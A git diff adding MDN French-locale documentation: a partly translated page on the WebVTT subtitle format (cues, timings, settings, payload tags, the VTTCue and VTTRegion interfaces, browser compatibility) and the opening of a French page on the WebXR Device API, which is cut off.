+What are you waiting for?</pre>
+
+<h2 id="Les_répliques_WebVTT">Les répliques WebVTT</h2>
+
+<p>A cue is a single subtitle block that has a single start time, end time, and textual payload. Example 6 consists of the header, a blank line, and then five cues separated by blank lines. A cue consists of five components:</p>
+
+<ul>
+ <li>An optional cue identifier followed by a newline.</li>
+ <li>Cue timings.</li>
+ <li>Optional cue settings with at least one space before the first and between each setting.</li>
+ <li>One or more newlines.</li>
+ <li>The cue payload text.</li>
+</ul>
+
+<h5 id="Exemple_7_-_Exemple_de_réplique">Exemple 7 - Exemple de réplique</h5>
+
+<pre class="eval notranslate">1 - Title Crawl
+00:00:05.000 --&gt; 00:00:10.000 line:0 position:20% size:60% align:start
+Some time ago in a place rather distant....</pre>
+
+<h3 id="Cue_identifier">Cue identifier</h3>
+
+<p>The identifier is a name that identifies the cue. It can be used to reference the cue from a script. It must not contain a newline and cannot contain the string "<code>--&gt;"</code>. It must end with a single newline. They do not have to be unique, although it is common to number them (e.g., 1, 2, 3, ...).</p>
+
+<h5 id="Example_8_-_Cue_identifier_from_Example_7">Example 8 - Cue identifier from Example 7</h5>
+
+<pre class="eval notranslate">1 - Title Crawl</pre>
+
+<h5 id="Example_9_-_Common_usage_of_identifiers">Example 9 - Common usage of identifiers</h5>
+
+<pre class="eval notranslate">WEBVTT
+
+1
+00:00:22.230 --&gt; 00:00:24.606
+This is the first subtitle.
+
+2
+00:00:30.739 --&gt; 00:00:34.074
+This is the second.
+
+3
+00:00:34.159 --&gt; 00:00:35.743
+Third
+</pre>
+
+<h3 id="Cue_timings">Cue timings</h3>
+
+<p>A cue timing indicates when the cue is shown. It has a start and end time which are represented by timestamps. The end time must be greater than the start time, and the start time must be greater than or equal to all previous start times. Cues may have overlapping timings.</p>
+
+<p>If the WebVTT file is being used for chapters ({{HTMLElement("track")}} {{htmlattrxref("kind")}} is <code>chapters</code>) then the file cannot have overlapping timings.</p>
+
+<p>Each cue timing contains five components:</p>
+
+<ul>
+ <li>Timestamp for start time.</li>
+ <li>At least one space.</li>
+ <li>The string "<code>--&gt;".</code></li>
+ <li>At least one space.</li>
+ <li>Timestamp for end time.
+  <ul>
+   <li>Which must be greater than the start time.</li>
+  </ul>
+ </li>
+</ul>
+
+<p>The timestamps must be in one of two formats:</p>
+
+<ul>
+ <li><code>mm:ss.ttt</code></li>
+ <li><code>hh:mm:ss.ttt</code></li>
+</ul>
+
+<p>Where the components are defined as follows:</p>
+
+<ul>
+ <li><code>hh</code> is hours.
+
+  <ul>
+   <li>Must be at least two digits.</li>
+   <li>Hours can be greater than two digits (e.g., 9999:00:00.000).</li>
+  </ul>
+ </li>
+ <li><code>mm</code> is minutes.
+  <ul>
+   <li>Must be between 00 and 59 inclusive.</li>
+  </ul>
+ </li>
+ <li><code>ss</code> is seconds.
+  <ul>
+   <li>Must be between 00 and 59 inclusive.</li>
+  </ul>
+ </li>
+ <li><code>ttt</code> is miliseconds.
+  <ul>
+   <li>Must be between 000 and 999 inclusive.</li>
+  </ul>
+ </li>
+</ul>
+
+<h5 id="Example_10_-_Basic_cue_timing_examples">Example 10 - Basic cue timing examples</h5>
+
+<pre class="eval notranslate">00:22.230 --&gt; 00:24.606
+00:30.739 --&gt; 00:00:34.074
+00:00:34.159 --&gt; 00:35.743
+00:00:35.827 --&gt; 00:00:40.122</pre>
+
+<h5 id="Example_11_-_Overlapping_cue_timing_examples">Example 11 - Overlapping cue timing examples</h5>
+
+<pre class="eval notranslate">00:00:00.000 --&gt; 00:00:10.000
+00:00:05.000 --&gt; 00:01:00.000
+00:00:30.000 --&gt; 00:00:50.000</pre>
+
+<h5 id="Example_12_-_Non-overlapping_cue_timing_examples">Example 12 - Non-overlapping cue timing examples</h5>
+
+<pre class="eval notranslate">00:00:00.000 --&gt; 00:00:10.000
+00:00:10.000 --&gt; 00:01:00.581
+00:01:00.581 --&gt; 00:02:00.100
+00:02:01.000 --&gt; 00:02:01.000</pre>
+
+<h3 id="Cue_settings">Cue settings</h3>
+
+<p>Cue settings are optional components used to position where the cue payload text will be displayed over the video. This includes whether the text is displayed horizontally or vertically. There can be zero or more of them, and they can be used in any order so long as each setting is used no more than once.</p>
+
+<p>The cue settings are added to the right of the cue timings. There must be one or more spaces between the cue timing and the first setting and between each setting. A setting's name and value are separated by a colon. The settings are case sensitive so use lower case as shown. There are five cue settings:</p>
+
+<ul>
+ <li><strong>vertical</strong>
+
+  <ul>
+   <li>Indicates that the text will be displayed vertically rather than horizontally, such as in some Asian languages.</li>
+  </ul>
+
+  <table>
+   <thead>
+    <tr>
+     <th colspan="2">Table 1 - vertical values</th>
+    </tr>
+   </thead>
+   <tbody>
+    <tr>
+     <th><code>vertical:rl</code></th>
+     <td>writing direction is right to left</td>
+    </tr>
+    <tr>
+     <th><code>vertical:lr</code></th>
+     <td>writing direction is left to right</td>
+    </tr>
+   </tbody>
+  </table>
+ </li>
+ <li><strong>line</strong>
+  <ul>
+   <li>Specifies where text appears vertically. If vertical is set, line specifies where text appears horizontally.</li>
+   <li>Value can be a line number.
+    <ul>
+     <li>The line height is the height of the first line of the cue as it appears on the video.</li>
+     <li>Positive numbers indicate top down.</li>
+     <li>Negative numbers indicate bottom up.</li>
+    </ul>
+   </li>
+   <li>Or value can be a percentage.
+    <ul>
+     <li>Must be an integer (i.e., no decimals) between 0 and 100 inclusive.</li>
+     <li>Must be followed by a percent sign (%).</li>
+    </ul>
+   </li>
+  </ul>
+
+  <table>
+   <thead>
+    <tr>
+     <th colspan="4">Table 2 - line examples</th>
+    </tr>
+   </thead>
+   <tbody>
+    <tr>
+     <th></th>
+     <th><code>vertical</code> omitted</th>
+     <th><code>vertical:rl</code></th>
+     <th><code>vertical:lr</code></th>
+    </tr>
+    <tr>
+     <th><code>line:0</code></th>
+     <td>top</td>
+     <td>right</td>
+     <td>left</td>
+    </tr>
+    <tr>
+     <th><code>line:-1</code></th>
+     <td>bottom</td>
+     <td>left</td>
+     <td>right</td>
+    </tr>
+    <tr>
+     <th><code>line:0%</code></th>
+     <td>top</td>
+     <td>right</td>
+     <td>left</td>
+    </tr>
+    <tr>
+     <th><code>line:100%</code></th>
+     <td>bottom</td>
+     <td>left</td>
+     <td>right</td>
+    </tr>
+   </tbody>
+  </table>
+ </li>
+ <li><strong>position</strong>
+  <ul>
+   <li>Specifies where the text will appear horizontally. If vertical is set, position specifies where the text will appear vertically.</li>
+   <li>Value is a percentage.</li>
+   <li>Must be an integer (no decimals) between 0 and 100 inclusive.</li>
+   <li>Must be followed by a percent sign (%).</li>
+  </ul>
+
+  <table>
+   <thead>
+    <tr>
+     <th colspan="4">Table 3 - position examples</th>
+    </tr>
+   </thead>
+   <tbody>
+    <tr>
+     <th></th>
+     <th><code>vertical</code> omitted</th>
+     <th><code>vertical:rl</code></th>
+     <th><code>vertical:lr</code></th>
+    </tr>
+    <tr>
+     <th><code>position:0%</code></th>
+     <td>left</td>
+     <td>top</td>
+     <td>top</td>
+    </tr>
+    <tr>
+     <th><code>position:100%</code></th>
+     <td>right</td>
+     <td>bottom</td>
+     <td>bottom</td>
+    </tr>
+   </tbody>
+  </table>
+ </li>
+ <li><strong>size</strong>
+  <ul>
+   <li>Specifies the width of the text area. If vertical is set, size specifies the height of the text area.</li>
+   <li>Value is a percentage.</li>
+   <li>Must be an integer (i.e., no decimals) between 0 and 100 inclusive.</li>
+   <li>Must be followed by a percent sign (%).</li>
+  </ul>
+
+  <table>
+   <thead>
+    <tr>
+     <th colspan="4">Table 4 - size examples</th>
+    </tr>
+   </thead>
+   <tbody>
+    <tr>
+     <th></th>
+     <th><code>vertical</code> omitted</th>
+     <th><code>vertical:rl</code></th>
+     <th><code>vertical:lr</code></th>
+    </tr>
+    <tr>
+     <th><code>size:100%</code></th>
+     <td>full width</td>
+     <td>full height</td>
+     <td>full height</td>
+    </tr>
+    <tr>
+     <th><code>size:50%</code></th>
+     <td>half width</td>
+     <td>half height</td>
+     <td>half height</td>
+    </tr>
+   </tbody>
+  </table>
+ </li>
+ <li><strong>align</strong>
+  <ul>
+   <li>Specifies the alignment of the text. Text is aligned within the space given by the size cue setting if it is set.</li>
+  </ul>
+
+  <table>
+   <thead>
+    <tr>
+     <th colspan="4">Table 5 - align values</th>
+    </tr>
+   </thead>
+   <tbody>
+    <tr>
+     <th></th>
+     <th><code>vertical</code> omitted</th>
+     <th><code>vertical:rl</code></th>
+     <th><code>vertical:lr</code></th>
+    </tr>
+    <tr>
+     <th><code>align:start</code></th>
+     <td>left</td>
+     <td>top</td>
+     <td>top</td>
+    </tr>
+    <tr>
+     <th><code>align:middle</code></th>
+     <td>centred horizontally</td>
+     <td>centred vertically</td>
+     <td>centred vertically</td>
+    </tr>
+    <tr>
+     <th><code>align:end</code></th>
+     <td>right</td>
+     <td>bottom</td>
+     <td>bottom</td>
+    </tr>
+   </tbody>
+  </table>
+ </li>
+</ul>
+
+<h5 id="Example_13_-_Cue_setting_examples">Example 13 - Cue setting examples</h5>
+
+<p>The first line demonstrates no settings. The second line might be used to overlay text on a sign or label. The third line might be used for a title. The last line might be used for an Asian language.</p>
+
+<pre class="eval notranslate">00:00:05.000 --&gt; 00:00:10.000
+00:00:05.000 --&gt; 00:00:10.000 line:63% position:72% align:start
+00:00:05.000 --&gt; 00:00:10.000 line:0 position:20% size:60% align:start
+00:00:05.000 --&gt; 00:00:10.000 vertical:rt line:-1 align:end
+</pre>
+
+<h3 id="Cue_payload">Cue payload</h3>
+
+<p>The payload is where the main information or content is located. In normal usage the payload contains the subtitles to be displayed. The payload text may contain newlines but it cannot contain a blank line, which is equivalent to two consecutive newlines. A blank line signifies the end of a cue.</p>
+
+<p>A cue text payload cannot contain the string "<code>--&gt;"</code>, the ampersand character (&amp;), or the less-than sign (&lt;). Instead use the escape sequence "&amp;amp;" for ampersand and "&amp;lt;" for less-than. It is also recommended that you use the greater-than escape sequence "&amp;gt;" instead of the greater-than character (&gt;) to avoid confusion with tags. If you are using the WebVTT file for metadata these restrictions do not apply.</p>
+
+<p>In addition to the three escape sequences mentioned above, there are fours others. They are listed in the table below.</p>
+
+<table>
+ <thead>
+  <tr>
+   <th colspan="3">Table 6 - Escape sequences</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th>Name</th>
+   <th>Character</th>
+   <th>Escape Sequence</th>
+  </tr>
+  <tr>
+   <td>Ampersand</td>
+   <td>&amp;</td>
+   <td><code>&amp;amp;</code></td>
+  </tr>
+  <tr>
+   <td>Less-than</td>
+   <td>&lt;</td>
+   <td><code>&amp;lt;</code></td>
+  </tr>
+  <tr>
+   <td>Greater-than</td>
+   <td>&gt;</td>
+   <td><code>&amp;gt;</code></td>
+  </tr>
+  <tr>
+   <td>Left-to-right mark</td>
+   <td></td>
+   <td><code>&amp;lrm;</code></td>
+  </tr>
+  <tr>
+   <td>Right-to-left mark</td>
+   <td></td>
+   <td><code>&amp;rlm;</code></td>
+  </tr>
+  <tr>
+   <td>Non-breaking space</td>
+   <td><code> </code></td>
+   <td><code>&amp;nbsp;</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Cue_payload_text_tags">Cue payload text tags</h3>
+
+<p>There are a number of tags, such as <code>&lt;bold&gt;</code>, that can be used. However, if the WebVTT file is used in a {{HTMLElement("track")}} element where the attribute {{htmlattrxref("kind")}} is <code>chapters</code> then you cannot use tags.</p>
+
+<ul>
+ <li><strong>Timestamp tag</strong>
+
+  <ul>
+   <li>The timestamp must be greater that the cue's start timestamp, greater than any previous timestamp in the cue payload, and less than the cue's end timestamp. The <em>active text</em> is the text between the timestamp and the next timestamp or to the end of the payload if there is not another timestamp in the payload. Any text before the <em>active text</em> in the payload is <em>previous text</em> . Any text beyond the <em>active text</em> is <em>future text</em> . This enables karaoke style captions.</li>
+  </ul>
+
+  <div>
+  <h5 id="Example_12_-_Karaoke_style_text">Example 12 - Karaoke style text</h5>
+
+  <pre class="eval notranslate">1
+00:16.500 --&gt; 00:18.500
+When the moon &lt;00:17.500&gt;hits your eye
+
+1
+00:00:18.500 --&gt; 00:00:20.500
+Like a &lt;00:19.000&gt;big-a &lt;00:19.500&gt;pizza &lt;00:20.000&gt;pie
+
+1
+00:00:20.500 --&gt; 00:00:21.500
+That's &lt;00:00:21.000&gt;amore
+</pre>
+  </div>
+ </li>
+</ul>
+
+<p>The following tags are the HTML tags allowed in a cue and require opening and closing tags (e.g., <code>&lt;b&gt;text&lt;/b&gt;</code>).</p>
+
+<ul>
+ <li><strong>Class tag</strong> (<code>&lt;c&gt;&lt;/c&gt;</code>)
+
+  <ul>
+   <li>Style the contained text using a CSS class.</li>
+  </ul>
+
+  <div>
+  <h5 id="Example_14_-_Class_tag">Example 14 - Class tag</h5>
+
+  <pre class="notranslate">&lt;c.classname&gt;text&lt;/c&gt;</pre>
+  </div>
+ </li>
+ <li><strong>Italics tag</strong> (<code>&lt;i&gt;&lt;/i&gt;</code>)
+  <ul>
+   <li>Italicize the contained text.</li>
+  </ul>
+
+  <div>
+  <h5 id="Example_15_-_Italics_tag">Example 15 - Italics tag</h5>
+
+  <pre class="notranslate">&lt;i&gt;text&lt;/i&gt;</pre>
+  </div>
+ </li>
+ <li><strong>Bold tag</strong> (<code>&lt;b&gt;&lt;/b&gt;</code>)
+  <ul>
+   <li>Bold the contained text.</li>
+  </ul>
+
+  <div>
+  <h5 id="Example_16_-_Bold_tag">Example 16 - Bold tag</h5>
+
+  <pre class="notranslate">&lt;b&gt;text&lt;/b&gt;</pre>
+  </div>
+ </li>
+ <li><strong>Underline tag</strong> (<code>&lt;u&gt;&lt;/u&gt;</code>)
+  <ul>
+   <li>Underline the contained text.</li>
+  </ul>
+
+  <div>
+  <h5 id="Example_17_-_Underline_tag">Example 17 - Underline tag</h5>
+
+  <pre class="notranslate">&lt;u&gt;text&lt;/u&gt;</pre>
+  </div>
+ </li>
+ <li><strong>Ruby tag</strong> (<code>&lt;ruby&gt;&lt;/ruby&gt;</code>)
+  <ul>
+   <li>Used with ruby text tags to display <a href="http://en.wikipedia.org/wiki/Ruby_character">ruby characters</a> (i.e., small annotative characters above other characters).</li>
+  </ul>
+
+  <div>
+  <h5 id="Example_18_-_Ruby_tag">Example 18 - Ruby tag</h5>
+
+  <pre class="notranslate">&lt;ruby&gt;WWW&lt;rt&gt;World Wide Web&lt;/rt&gt;oui&lt;rt&gt;yes&lt;/rt&gt;&lt;/ruby&gt;</pre>
+  </div>
+ </li>
+ <li><strong>Ruby text tag</strong> (<code>&lt;rt&gt;&lt;/rt&gt;</code>)
+  <ul>
+   <li>Used with ruby tags to display <a href="http://en.wikipedia.org/wiki/Ruby_character">ruby characters</a> (i.e., small annotative characters above other characters).</li>
+  </ul>
+
+  <div>
+  <h5 id="Example_19_-_Ruby_text_tag">Example 19 - Ruby text tag</h5>
+
+  <pre class="notranslate">&lt;ruby&gt;WWW&lt;rt&gt;World Wide Web&lt;/rt&gt;oui&lt;rt&gt;yes&lt;/rt&gt;&lt;/ruby&gt;</pre>
+  </div>
+ </li>
+ <li><strong>Voice tag</strong> (<code>&lt;v&gt;&lt;/v&gt;</code>)
+  <ul>
+   <li>Similar to class tag, also used to style the contained text using CSS.</li>
+  </ul>
+
+  <div>
+  <h5 id="Example_20_-_Voice_tag">Example 20 - Voice tag</h5>
+
+  <pre class="notranslate">&lt;v Bob&gt;text&lt;/v&gt;</pre>
+  </div>
+ </li>
+</ul>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<p>There are two interfaces or APIs used in WebVTT which are:</p>
+
+<h3 id="VTTCue_interface">VTTCue interface</h3>
+
+<p>It is used for providing an interface in Document Object Model API, where different attributes supported by it can be used to prepare and alter the cues in number of ways.</p>
+
+<p>Constructor is the first point for starting the Cue which is defined using the default constructor VTTCue(startTime, endTime, text) where starting time, ending time and text for cue can be adjusted. After that we can set the region for that particular cue to which this cue belongs using cue.region. Vertical, horizontal, line, lineAlign, Position, positionAlign, text, size and Align can be used to alter the cue and its formation, just like we can alter the objects form, shape and visibility in HTML using CSS. But the VTTCue interface is within the WebVTT provides the vast range of adjustment variables which can be used directly to alter the Cue. Following interface can be used to expose WebVTT cues in DOM API:</p>
+
+<pre class="idl def notranslate">enum <dfn>AutoKeyword</dfn> { <dfn>"auto"</dfn> };
+enum <dfn>DirectionSetting</dfn> { <dfn>""</dfn> /* horizontal */, <dfn>"rl"</dfn>, <dfn>"lr"</dfn> };
+enum <dfn>LineAlignSetting</dfn> { <dfn>"start"</dfn>, <dfn>"center"</dfn>, <dfn>"end"</dfn> };
+enum <dfn>PositionAlignSetting</dfn> { <dfn>"line-left"</dfn>, <dfn>"center"</dfn>, <dfn>"line-right"</dfn>, <dfn>"auto"</dfn> };
+enum <dfn>AlignSetting</dfn> { <dfn>"start"</dfn>, <dfn>"center"</dfn>, <dfn>"end"</dfn>, <dfn>"left"</dfn>, <dfn>"right"</dfn> };
+[<a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-vttcue" id="ref-for-dom-vttcue-vttcue-1">Constructor</a>(double <dfn>startTime</dfn>, double <dfn>endTime</dfn>, DOMString <dfn>text</dfn>)]
+interface <dfn>VTTCue</dfn> : <a href="https://html.spec.whatwg.org/multipage/embedded-content.html#texttrackcue">TextTrackCue</a> {
+  attribute <a href="https://w3c.github.io/webvtt/#vttregion" id="ref-for-vttregion-1">VTTRegion</a>? <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-region" id="ref-for-dom-vttcue-region-1">region</a>;
+  attribute <a href="https://w3c.github.io/webvtt/#enumdef-directionsetting" id="ref-for-enumdef-directionsetting-1">DirectionSetting</a> <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-vertical" id="ref-for-dom-vttcue-vertical-1">vertical</a>;
+  attribute boolean <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-snaptolines" id="ref-for-dom-vttcue-snaptolines-2">snapToLines</a>;
+  attribute (double or <a href="https://w3c.github.io/webvtt/#enumdef-autokeyword" id="ref-for-enumdef-autokeyword-1">AutoKeyword</a>) <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-line" id="ref-for-dom-vttcue-line-2">line</a>;
+  attribute <a href="https://w3c.github.io/webvtt/#enumdef-linealignsetting" id="ref-for-enumdef-linealignsetting-1">LineAlignSetting</a> <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-linealign" id="ref-for-dom-vttcue-linealign-1">lineAlign</a>;
+  attribute (double or <a href="https://w3c.github.io/webvtt/#enumdef-autokeyword" id="ref-for-enumdef-autokeyword-2">AutoKeyword</a>) <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-position" id="ref-for-dom-vttcue-position-1">position</a>;
+  attribute <a href="https://w3c.github.io/webvtt/#enumdef-positionalignsetting" id="ref-for-enumdef-positionalignsetting-1">PositionAlignSetting</a> <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-positionalign" id="ref-for-dom-vttcue-positionalign-1">positionAlign</a>;
+  attribute double <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-size" id="ref-for-dom-vttcue-size-1">size</a>;
+  attribute <a href="https://w3c.github.io/webvtt/#enumdef-alignsetting" id="ref-for-enumdef-alignsetting-1">AlignSetting</a> <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-align" id="ref-for-dom-vttcue-align-1">align</a>;
+  attribute DOMString <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-text" id="ref-for-dom-vttcue-text-1">text</a>;
+  <a href="https://dom.spec.whatwg.org/#documentfragment">DocumentFragment</a> <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttcue-getcueashtml" id="ref-for-dom-vttcue-getcueashtml-2">getCueAsHTML</a>();
+};</pre>
+
+<h3 id="VTTRegion_interface">VTTRegion interface</h3>
+
+<p>This is the second interface in WebVTT API.</p>
+
+<p>The new keyword can be used for defining a new VTTRegion object which can then be used for containing the multiple cues. There are several properties of VTTRegion which are width, lines, regionAnchorX, RegionAnchorY, viewportAnchorX, viewportAnchorY and scroll that can be used to specify the look and feel of this VTT region. The interface code is given below which can be used to expose the WebVTT regions in DOM API:</p>
+
+<pre class="idl def notranslate">enum <dfn>ScrollSetting</dfn> { <dfn>""</dfn> /* none */, <dfn>"up"</dfn> };
+[<a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttregion-vttregion" id="ref-for-dom-vttregion-vttregion-1">Constructor</a>]
+interface <dfn>VTTRegion</dfn> {
+  attribute double <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttregion-width" id="ref-for-dom-vttregion-width-1">width</a>;
+  attribute long <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttregion-lines" id="ref-for-dom-vttregion-lines-1">lines</a>;
+  attribute double <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttregion-regionanchorx" id="ref-for-dom-vttregion-regionanchorx-1">regionAnchorX</a>;
+  attribute double <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttregion-regionanchory" id="ref-for-dom-vttregion-regionanchory-1">regionAnchorY</a>;
+  attribute double <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttregion-viewportanchorx" id="ref-for-dom-vttregion-viewportanchorx-1">viewportAnchorX</a>;
+  attribute double <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttregion-viewportanchory" id="ref-for-dom-vttregion-viewportanchory-1">viewportAnchorY</a>;
+  attribute <a href="https://w3c.github.io/webvtt/#enumdef-scrollsetting" id="ref-for-enumdef-scrollsetting-1">ScrollSetting</a> <a class="idl-code" href="https://w3c.github.io/webvtt/#dom-vttregion-scroll" id="ref-for-dom-vttregion-scroll-1">scroll</a>;
+};</pre>
+
+<h2 id="Methods_and_properties">Methods and properties</h2>
+
+<p>The methods used in WebVTT are those which are used to alter the cue or region as the attributes for both interfaces are different. We can categorize them for better understanding relating to each interface in WebVTT:</p>
+
+<ul style="list-style-type: circle;">
+ <li>
+  <h3 id="VTTCue">VTTCue</h3>
+
+  <ul>
+   <li>The methods which are available in this interface are:
+    <ul style="list-style-type: circle;">
+     <li>GetCueAsHTML to get the HTML of that Cue.</li>
+     <li>VTT Constructor for creating new objects of Cues.</li>
+     <li>Autokeyword.</li>
+     <li>DirectionSetting: to set the direction of caption or text in a file.</li>
+     <li>LineAlignment: to adjust the line alignment.</li>
+     <li>PositionAlignSetting: to adjust the position of text.</li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+ <li>
+  <h3 id="VTTRegion">VTTRegion</h3>
+
+  <ul>
+   <li>The methods used for region are listed below along with description of their functionality:
+    <ul style="list-style-type: circle;">
+     <li>ScrollSetting: For adjusting the scrolling setting of all nodes present in given region.</li>
+     <li>VTT Region Constructor: for construction of new VTT Regions.</li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Tutorial_on_how_to_write_a_WebVTT_file">Tutorial on how to write a WebVTT file</h2>
+
+<p>There are few steps that can be followed to write a simple webVTT file. Before start, it must be noted that you can make use of a notepad and then save the file as ‘.vtt’ file. Steps are given below:</p>
+
+<ol>
+ <li>Open a notepad.</li>
+ <li>The first line of WebVTT is standardized similar in the way some other languages require you to put headers as the file starts to indicate the file type. One the very first line you have to write.</li>
+</ol>
+
+<pre class="notranslate">WEBVTT</pre>
+
+<p>      3. Leave the second line blank, and on the third line the time for first cue is to be specified. For example, for a first cue starting at time 1 second and ending at 5 seconds, it is written as:</p>
+
+<pre class="notranslate">00:01.000 --&gt; 00:05.000</pre>
+
+<ol>
+ <li>On the next line you can write the caption for this cue which will run from 1<sup>st</sup> second to the 5<sup>th</sup> second, inclusive.</li>
+ <li>Following the similar steps, a complete WebVTT file for specific video or audio file can be made.</li>
+</ol>
+
+<h2 id="CSS_pseudo-classes">CSS pseudo-classes</h2>
+
+<p>CSS pseudo classes allow us to classify the type of object which we want to differentiate from other types of objects. It works in similar manner in WebVTT files as it works in HTML file.</p>
+
+<p>It is one of the good features supported by WebVTT is the localization and use of class elements which can be used in same way they are used in HTML and CSS to classify the style for particular type of objects, but here these are used for styling and classifying the Cues as shown below:</p>
+
+<pre class="notranslate">WEBVTT
+
+04:02.500 --&gt; 04:05.000
+J’ai commencé le basket à l'âge de 13, 14 ans
+
+04:05.001 --&gt; 04:07.800
+Sur les &lt;i.foreignphrase&gt;&lt;lang en&gt;playground&lt;/lang&gt;&lt;/i&gt;, ici à Montpellier</pre>
+
+<p>In the above example it can be observed that we can use the identifier and pseudo class name for defining the language of caption, where <code>&lt;i&gt;</code> tag is for italics.</p>
+
+<p>The type of pseudo class is determined by the selector it is using and working is similar in nature as it works in HTML. Following CSS pseudo classes can be used:</p>
+
+<ul>
+ <li>Lang (Lanugage): e.g., p:lang(it).</li>
+ <li>Link: e.g., a:link.</li>
+ <li>Nth-last-child: e.g., p:nth-last-child(2).</li>
+ <li>Nth-child(n): e.g., p:nth-child(2).</li>
+</ul>
+
+<p>Where p and a are the tags which are used in HTML for paragraph and link, respectively and they can be replaced by identifiers which are used for Cues in WebVTT file.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("WebVTT")}}</td>
+   <td>{{Spec2("WebVTT")}}</td>
+   <td>Définition initiales</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<h3 id="VTTCue_interface_2"><code>VTTCue</code> interface</h3>
+
+<div>
+
+
+<p>{{Compat("api.VTTCue", 0)}}</p>
+
+<h3 id="TextTrack_interface"><code>TextTrack</code> interface</h3>
+
+<div>
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("api.TextTrack", 0)}}</p>
+
+<h3 id="Notes">Notes</h3>
+</div>
+</div>
+
+<p>Prior to Firefox 50, the <code>AlignSetting</code> enum (representing possible values for {{domxref("VTTCue.align")}}) incorrectly included the value <code>"middle"</code> instead of <code>"center"</code>. This has been corrected.</p>
+
+<p>WebVTT was implemented in Firefox 24 behind the preference {{pref("media.webvtt.enabled")}}, which is disabled by default; you can enable it by setting this preference to <code>true</code>. WebVTT is enabled by default starting in Firefox 31 and can be disabled by setting the preference to <code>false</code>.</p>
+
+<p>Prior to Firefox 58, the <code>REGION</code> keyword was creating {{domxref("VTTRegion")}} objects, but they were not being used. Firefox 58 now fully supports <code>VTTRegion</code> and its use; however, this feature is disabled by default behind the preference <code>media.webvtt.regions.enabled</code>; set it to <code>true</code> to enable region support in Firefox 58. Regions are enabled by default starting in Firefox 59 (see bugs {{bug(1338030)}} and {{bug(1415805)}}).</p>
diff --git a/files/fr/web/api/webxr_device_api/index.html b/files/fr/web/api/webxr_device_api/index.html
new file mode 100644
index 0000000000..ee041f0429
--- /dev/null
+++ b/files/fr/web/api/webxr_device_api/index.html
@@ -0,0 +1,205 @@
+---
+title: L'API de périphérique WebXR
+slug: Web/API/WebXR_Device_API
+tags:
+  - API
+  - AR
+  - Réalité augmentée
+  - Réalité virtuelle
+  - VR
+  - WebXR
+  - WebXR API
+translation_of: Web/API/WebXR_Device_API
+---
+<p>{{DefaultAPISidebar("WebXR Device API")}}</p>
+
+<p><span class="seoSummary"><strong>WebXR</strong> est un ensemble de standards utilisés pour supporter le rendu de scènes 3D vers du matériel conçu pour présenter des mondes virtuels (<strong>Réalité Virtuelle</strong>, ou <strong>VR</strong>), ou pour ajouter des contenus graphiques dans le monde réel, (<strong>Réalité Augmentée</strong>, ou <strong>AR</strong>).</span> L'<strong>API de périphérique WebXR </strong>implémente le coeur des fonctionnalités WebXR, gère la sélection de périphériques de sortie, affiche la scène 3D sur le périphérique choisi à la fréquence d'images appropriée, et gère les vecteurs de mouvement créés en utilisant les contrôleurs d'entrée.</p>
+
+<p>Les périphèriques compatibles WebXR comprennent les casques 3D entièrement immersifs avec le suivi du mouvement et de l'orientation, les lunettes qui supperposent des contenus graphiques par dessus la scène du monde réel au travers des images, et les smartphones qui augmentent la realité en capturant le monde via une camera et en qui augmentent la scène avec des images générées par ordinateur.</p>
+
+<p>Pour accomplir toutes ces choses, l'API de périphériques WebXR fournit les fonctionnalités clés suivantes:</p>
+
+<ul>
+ <li>Trouver un périphérique de sortie VR ou AR compatible</li>
+ <li>Afficher une scène 3D sur le périphérique à la fréquence d'images appropriée</li>
+ <li>(Optionellement) refléter la sortie sur un affichage 2D</li>
+ <li>Créer des vecteurs représentant les mouvements des commandes d'entrée</li>
+</ul>
+
+<p>Au niveau le plus basique, une scène est présentée en 3D en calculant la perspective à appliquer à la scène dans le but de l'afficher du point de vue de chacun des yeux de l'utilisateur en calculant la position de chaque oeil et en affichant la scène de cette position, regardant dans la même direction que l'utilisateur. Ces deux images sont conçuent à l'intérieur d'une seule mémoire tampon, avec l'image de rendu pour l'oeil gauche dans la partie gauche et l'image de rendu de l'oeil droit dans la partie droite de la mémoire tampon. Une fois que les perspectives des deux yeux sur la scène ont été conçues, la mémoire résultante est délivrée au périphérique WebXR pour être présentée à l'utilisateur via son casque ou tout autre périphérique d'affichage approprié.</p>
+
+<h2 id="Les_concepts_et_lutilisation_des_périphériques_WebXR">Les concepts et l'utilisation des périphériques WebXR</h2>
+
+<figure style="background: #eee; padding: 0.5em; border: 1px solid #aaa; border-radius: 1em; max-width: 20em; margin-bottom: 1em; margin-right: 2em; float: left;">
+<figcaption><strong>Exemple de configuration matérielle WebXR</strong></figcaption>
